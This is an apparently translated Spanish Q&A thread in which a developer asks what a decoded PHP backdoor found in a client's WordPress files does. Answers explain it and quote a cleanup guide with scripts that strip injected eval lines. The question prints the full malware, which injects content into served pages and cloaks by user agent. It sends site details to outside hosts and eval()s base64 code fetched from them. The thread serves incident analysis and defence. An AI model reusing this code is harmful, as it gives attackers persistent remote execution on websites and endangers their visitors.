2012-02-23 7 views
5

Encontré este código en la base 64 en todos los archivos php de uno de los sitios de mi cliente (wordpress) y trato de entender qué hace.¿Qué significa exactamente este código de explotación de PHP (que se encuentra en mi aplicación)?

También estoy tratando de averiguar si se trata de un exploit de aplicación o un acceso FTP directo que ha pasado este código.

Todo comienza con setup_globals_777() y ob_start('mrobh') estableciendo la devolución de llamada a la función mrobh($content).

Luego hay una llamada al gzdecodeit ($decode) donde comienza la molestia.

Parece que obtiene el contenido de la página y la cambia. Ahora intento detectar los cambios específicos y comprender todas las funciones, incluida la segunda, gzdecodeit().

¿Alguien puede arrojar algo de luz sobre él?

La llama

setup_globals_777(); 
ob_start('mrobh'); 
// Here the application code and html output starts out 

La devolución de llamada:

function mrobh ($content) 
{ 
    @Header('Content-Encoding: none'); 
    $decoded_content = gzdecodeit($content); 
    if (preg_match('/\<\/body/si', $decoded_content)) { 
     return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', 
          $decoded_content); 
    } else { 
     return $decoded_content . gml_777(); 
    } 
} 

La función de configuración (comprensible)

function setup_globals_777() 
{ 
    $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/"; 
    $mz = "/tmp/"; 
    if (! is_dir($rz)) { 
     @mkdir($rz); 
     if (is_dir($rz)) { 
      $mz = $rz; 
     } else { 
      $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/"; 
      if (! is_dir($rz)) { 
       @mkdir($rz); 
       if (is_dir($rz)) { 
        $mz = $rz; 
       } 
      } else { 
       $mz = $rz; 
      } 
     } 
    } else { 
     $mz = $rz; 
    } 
    $bot = 0; 
    $ua = $_SERVER['HTTP_USER_AGENT']; 
    if (stristr($ua, "msnbot") || stristr($ua, "Yahoo")) 
     $bot = 1; 
    if (stristr($ua, "bingbot") || stristr($ua, "google")) 
     $bot = 1; 
    $msie = 0; 
    if (is_msie_777($ua)) 
     $msie = 1; 
    $mac = 0; 
    if (is_mac_777($ua)) 
     $mac = 1; 
    if (($msie == 0) && ($mac == 0)) 
     $bot = 1; 
    global $_SERVER; 
    $_SERVER['s_p1'] = $mz; 
    $_SERVER['s_b1'] = $bot; 
    $_SERVER['s_t1'] = 1200; 
    $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/"; 
    $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . 
    urlencode($_SERVER["PHP_SELF"]) . "&a=" . 
    urlencode($_SERVER["HTTP_USER_AGENT"]); 
    $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d; 
    $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d; 
    $_SERVER['s_script'] = "mm.php?d=1"; 
} 

La primera función llamada después de la ejecución de devolución de llamada:

Aquí es donde sucede la magia. No puedo ver las llamadas para las otras funciones disponibles y entender lo que esta función es en realidad decodificación, ya que el $decode var es la salida de la aplicación agarrado por los ob_start()

function gzdecodeit ($decode) 
{ 
    $t = @ord(@substr($decode, 3, 1)); 
    $start = 10; 
    $v = 0; 
    if ($t & 4) { 
     $str = @unpack('v', substr($decode, 10, 2)); 
     $str = $str[1]; 
     $start += 2 + $str; 
    } 
    if ($t & 8) { 
     $start = @strpos($decode, chr(0), $start) + 1; 
    } 
    if ($t & 16) { 
     $start = @strpos($decode, chr(0), $start) + 1; 
    } 
    if ($t & 2) { 
     $start += 2; 
    } 
    $ret = @gzinflate(@substr($decode, $start)); 
    if ($ret === FALSE) { 
     $ret = $decode; 
    } 
    return $ret; 
} 

Todas las funciones disponibles (después de un base64_decode()):

<?php 
if (function_exists('ob_start') && ! isset($_SERVER['mr_no'])) { 
    $_SERVER['mr_no'] = 1; 
    if (! function_exists('mrobh')) { 
     function get_tds_777 ($url) 
     { 
      $content = ""; 
      $content = @trycurl_777($url); 
      if ($content !== false) 
       return $content; 
      $content = @tryfile_777($url); 
      if ($content !== false) 
       return $content; 
      $content = @tryfopen_777($url); 
      if ($content !== false) 
       return $content; 
      $content = @tryfsockopen_777($url); 
      if ($content !== false) 
       return $content; 
      $content = @trysocket_777($url); 
      if ($content !== false) 
       return $content; 
      return ''; 
     } 
     function trycurl_777 ($url) 
     { 
      if (function_exists('curl_init') === false) 
       return false; 
      $ch = curl_init(); 
      curl_setopt($ch, CURLOPT_URL, $url); 
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
      curl_setopt($ch, CURLOPT_TIMEOUT, 5); 
      curl_setopt($ch, CURLOPT_HEADER, 0); 
      $result = curl_exec($ch); 
      curl_close($ch); 
      if ($result == "") 
       return false; 
      return $result; 
     } 
     function tryfile_777 ($url) 
     { 
      if (function_exists('file') === false) 
       return false; 
      $inc = @file($url); 
      $buf = @implode('', $inc); 
      if ($buf == "") 
       return false; 
      return $buf; 
     } 
     function tryfopen_777 ($url) 
     { 
      if (function_exists('fopen') === false) 
       return false; 
      $buf = ''; 
      $f = @fopen($url, 'r'); 
      if ($f) { 
       while (! feof($f)) { 
        $buf .= fread($f, 10000); 
       } 
       fclose($f); 
      } else 
       return false; 
      if ($buf == "") 
       return false; 
      return $buf; 
     } 
     function tryfsockopen_777 ($url) 
     { 
      if (function_exists('fsockopen') === false) 
       return false; 
      $p = @parse_url($url); 
      $host = $p['host']; 
      $uri = $p['path'] . '?' . $p['query']; 
      $f = @fsockopen($host, 80, $errno, $errstr, 30); 
      if (! $f) 
       return false; 
      $request = "GET $uri HTTP/1.0\n"; 
      $request .= "Host: $host\n\n"; 
      fwrite($f, $request); 
      $buf = ''; 
      while (! feof($f)) { 
       $buf .= fread($f, 10000); 
      } 
      fclose($f); 
      if ($buf == "") 
       return false; 
      list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
      $buf); 
      return $buf; 
     } 
     function trysocket_777 ($url) 
     { 
      if (function_exists('socket_create') === false) 
       return false; 
      $p = @parse_url($url); 
      $host = $p['host']; 
      $uri = $p['path'] . '?' . $p['query']; 
      $ip1 = @gethostbyname($host); 
      $ip2 = @long2ip(@ip2long($ip1)); 
      if ($ip1 != $ip2) 
       return false; 
      $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); 
      if (! @socket_connect($sock, $ip1, 80)) { 
       @socket_close($sock); 
       return false; 
      } 
      $request = "GET $uri HTTP/1.0\n"; 
      $request .= "Host: $host\n\n"; 
      socket_write($sock, $request); 
      $buf = ''; 
      while ($t = socket_read($sock, 10000)) { 
       $buf .= $t; 
      } 
      @socket_close($sock); 
      if ($buf == "") 
       return false; 
      list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
      $buf); 
      return $buf; 
     } 
     function update_tds_file_777 ($tdsfile) 
     { 
      $actual1 = $_SERVER['s_a1']; 
      $actual2 = $_SERVER['s_a2']; 
      $val = get_tds_777($actual1); 
      if ($val == "") 
       $val = get_tds_777($actual2); 
      $f = @fopen($tdsfile, "w"); 
      if ($f) { 
       @fwrite($f, $val); 
       @fclose($f); 
      } 
      if (strstr($val, "|||CODE|||")) { 
       list ($val, $code) = explode("|||CODE|||", $val); 
       eval(base64_decode($code)); 
      } 
      return $val; 
     } 
     function get_actual_tds_777() 
     { 
      $defaultdomain = $_SERVER['s_d1']; 
      $dir = $_SERVER['s_p1']; 
      $tdsfile = $dir . "log1.txt"; 
      if (@file_exists($tdsfile)) { 
       $mtime = @filemtime($tdsfile); 
       $ctime = time() - $mtime; 
       if ($ctime > $_SERVER['s_t1']) { 
        $content = update_tds_file_777($tdsfile); 
       } else { 
        $content = @file_get_contents($tdsfile); 
       } 
      } else { 
       $content = update_tds_file_777($tdsfile); 
      } 
      $tds = @explode("\n", $content); 
      $c = @count($tds) + 0; 
      $url = $defaultdomain; 
      if ($c > 1) { 
       $url = trim($tds[mt_rand(0, $c - 2)]); 
      } 
      return $url; 
     } 
     function is_mac_777 ($ua) 
     { 
      $mac = 0; 
      if (stristr($ua, "mac") || stristr($ua, "safari")) 
       if ((! stristr($ua, "windows")) && (! stristr($ua, "iphone"))) 
        $mac = 1; 
      return $mac; 
     } 
     function is_msie_777 ($ua) 
     { 
      $msie = 0; 
      if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || 
      stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9")) 
       $msie = 1; 
      return $msie; 
     } 
     function setup_globals_777() 
     { 
      $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/"; 
      $mz = "/tmp/"; 
      if (! is_dir($rz)) { 
       @mkdir($rz); 
       if (is_dir($rz)) { 
        $mz = $rz; 
       } else { 
        $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/"; 
        if (! is_dir($rz)) { 
         @mkdir($rz); 
         if (is_dir($rz)) { 
          $mz = $rz; 
         } 
        } else { 
         $mz = $rz; 
        } 
       } 
      } else { 
       $mz = $rz; 
      } 
      $bot = 0; 
      $ua = $_SERVER['HTTP_USER_AGENT']; 
      if (stristr($ua, "msnbot") || stristr($ua, "Yahoo")) 
       $bot = 1; 
      if (stristr($ua, "bingbot") || stristr($ua, "google")) 
       $bot = 1; 
      $msie = 0; 
      if (is_msie_777($ua)) 
       $msie = 1; 
      $mac = 0; 
      if (is_mac_777($ua)) 
       $mac = 1; 
      if (($msie == 0) && ($mac == 0)) 
       $bot = 1; 
      global $_SERVER; 
      $_SERVER['s_p1'] = $mz; 
      $_SERVER['s_b1'] = $bot; 
      $_SERVER['s_t1'] = 1200; 
      $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/"; 
      $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . 
      urlencode($_SERVER["PHP_SELF"]) . "&a=" . 
      urlencode($_SERVER["HTTP_USER_AGENT"]); 
      $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d; 
      $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d; 
      $_SERVER['s_script'] = "mm.php?d=1"; 
     } 


     if (! function_exists('gml_777')) { 
      function gml_777() 
      { 
       $r_string_777 = ''; 
       if ($_SERVER['s_b1'] == 0) 
        $r_string_777 = ''; 
       return $r_string_777; 
      } 
     } 
     if (! function_exists('gzdecodeit')) { 
      function gzdecodeit ($decode) 
      { 
       $t = @ord(@substr($decode, 3, 1)); 
       $start = 10; 
       $v = 0; 
       if ($t & 4) { 
        $str = @unpack('v', substr($decode, 10, 2)); 
        $str = $str[1]; 
        $start += 2 + $str; 
       } 
       if ($t & 8) { 
        $start = @strpos($decode, chr(0), $start) + 1; 
       } 
       if ($t & 16) { 
        $start = @strpos($decode, chr(0), $start) + 1; 
       } 
       if ($t & 2) { 
        $start += 2; 
       } 
       $ret = @gzinflate(@substr($decode, $start)); 
       if ($ret === FALSE) { 
        $ret = $decode; 
       } 
       return $ret; 
      } 
     } 
     function mrobh ($content) 
     { 
      @Header('Content-Encoding: none'); 
      $decoded_content = gzdecodeit($content); 
      if (preg_match('/\<\/body/si', $decoded_content)) { 
       return preg_replace('/(\<\/body[^\>]*\>)/si', 
       gml_777() . "\n" . '$1', $decoded_content); 
      } else { 
       return $decoded_content . gml_777(); 
      } 
     } 

    } 
} 
+3

me preocupe de arreglar su seguridad en lugar de entender lo que hace este código – dynamic

+0

@ yes123 Sí, pero yo Estoy preguntando sobre el código. Me gustaría entenderlo Soy un programador de PHP y no he visto esas combinaciones de declaraciones antes. –

+0

No estoy seguro si esto es lo mismo o no, pero es posible que desee echar un vistazo: http://www.tumblr.com/tagged/hack?before=1329947869 –

Respuesta

7

parece que se crea una carpeta oculta .log:

$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/"; 
$mz = "/tmp/"; 
if (! is_dir($rz)) { 
    @mkdir($rz); 
    if (is_dir($rz)) { 
     $mz = $rz; 
    } else { 
     $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/"; 
     if (! is_dir($rz)) { 
      @mkdir($rz); 
      if (is_dir($rz)) { 
       $mz = $rz; 
      } 
     } else { 
      $mz = $rz; 
     } 
    } 
} else { 
    $mz = $rz; 
} 

Entonces parece que descargar el código de http://www.lolypopholypop.com/g_load.php y http://sweepstakesandcontestsdo.com/, base 64 decodifica, y luego lo ejecuta:

function update_tds_file_777 ($tdsfile) 
    { 
     $actual1 = $_SERVER['s_a1']; 
     $actual2 = $_SERVER['s_a2']; 
     $val = get_tds_777($actual1); 
     if ($val == "") 
      $val = get_tds_777($actual2); 
     $f = @fopen($tdsfile, "w"); 
     if ($f) { 
      @fwrite($f, $val); 
      @fclose($f); 
     } 
     if (strstr($val, "|||CODE|||")) { 
      list ($val, $code) = explode("|||CODE|||", $val); 
      eval(base64_decode($code)); 
     } 
     return $val; 
    } 

Así que sin tener que acceda nuevamente a su servidor, pueden ejecutar código diferente.

+0

¿Puedes indicar dónde se produce la primera llamada update_tds_file_777()? –

+0

No estoy seguro, ¿está todo el código publicado anteriormente? Porque get_actual_tds_777() nunca se llama, tampoco, que puedo ver. –

+0

Sí, lo es. Esta es la razón por la que pensé que el gzdecodeit() estaba haciendo algo. –

5

Dan Hill escribió un article acerca de obtener base64 pirateado para instalaciones de WordPress.

Para citar los resultados de los hallazgos de Dan:

El truco que encontré creado esencialmente un nuevo archivo php en la carpeta de archivos de Wordpress que permitió el control de sistema de archivos remoto, y luego modificado las páginas que se sirve (todas. archivo php) para incluir una etiqueta de secuencia de comandos redirigir a los visitantes a algunos sitios poco fiables.

para deshacerse del problema, Dan intentado lo siguiente:


hice esto en tres etapas.En primer lugar, encontrar directorios escribibles (TSK tsk):

find . -type d -perm -o=w 

y hacerlos no mundo puede escribir:

find . -type d -perm -o=w -print -exec chmod 770 {} \; 

Borrar todos los nuevos archivos de estos tipos de creación:

find . -wholename '*wp-content/uploads/*.php' -exec rm -rf {} \; 

(En wordpress, la carpeta de carga no debe contener ningún PHP)

Etapa dos, repare todo su infectado d archivos PHP Jugué usando sed y xargs para esto, pero finalmente me rendí y escribí un guión rápido de ruby ​​para hacer el trabajo. Ejecutar este Ejecutar este proceso de rubí de su directorio raíz:

#!/usr/bin/env ruby 
Dir.glob('**/*.php').each do|f| 
    puts f 
    begin 
     contents = File.read(f) 
     contents = contents.gsub(/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/, "") 

     File.open(f, 'w') {|f| f.write(contents) } 
    rescue 
     puts "FILE ERROR" 
    end 
end 

El último paso es actualizar toda su edad, olvidado de Wordpress instala para evitar cualquier otras vulnerabilidades a aparecer. El paso extra para la buena suerte es restablecer sus contraseñas, especialmente las contraseñas de MySQL almacenadas en texto plano en su archivo wp-config.php.


Hope Dan's findings help!

1

Para aquellos en busca de una solución no-Rubí, aquí es una versión de PHP de código de Dan Hill

<?php 
function fileExtension($filename) { 
    $pathInfo = pathinfo($filename); 
    return strtolower($pathInfo['extension']); 
} 

function fixFiles($path) { 
    $path = str_replace('././', './', $path); 
    $d = @opendir($path); 

    if ($d) { 
     while (($entry = readdir($d)) !== false) { 
      $baseEntry = $entry; 
      $entry = str_replace('././', './', $path . '/' . $entry); 

      if ($baseEntry != '.' && $baseEntry != '..') { 
       if (is_file($entry)) { 
        $fe = fileExtension($entry); 

        if ($fe == 'php') { 
         $contents = file_get_contents($entry); 
         $contents = preg_replace("/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/", '', $contents); 

         $f = fopen($entry, 'w'); 
         fputs($f, $contents); 
         fclose($f); 

         echo $entry . '<br>'; 
         flush(); 
        } 
       } 
       else if (is_dir($entry)) { 
        fixFiles($path . '/' . basename($entry)); 
       } 
      } 
     } 

     closedir($d); 
    } 
} 

fixFiles('.'); 
?> 
Cuestiones relacionadas